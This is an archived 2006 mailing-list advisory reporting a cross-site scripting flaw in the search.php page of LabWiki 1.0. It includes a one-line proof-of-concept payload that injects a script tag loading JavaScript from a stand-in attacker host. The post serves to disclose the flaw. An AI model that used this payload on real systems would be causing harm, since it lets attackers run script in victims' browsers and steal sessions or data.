|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
LabWiki v1.0
luny
youfucktard.com
Date: Sun Jun 04 2006 - 21:46:18 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
LabWiki 1.0
Homepage:
http://www.bioinformatics.org/phplabware/labwiki/index.php
Effected files:
search.php
The search input box does not sanatize user input before dynamically genrating it.
XSS Proof of concept:
"><SCRIPT SRC=http://evilsite.com/xss.js></SCRIPT><"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]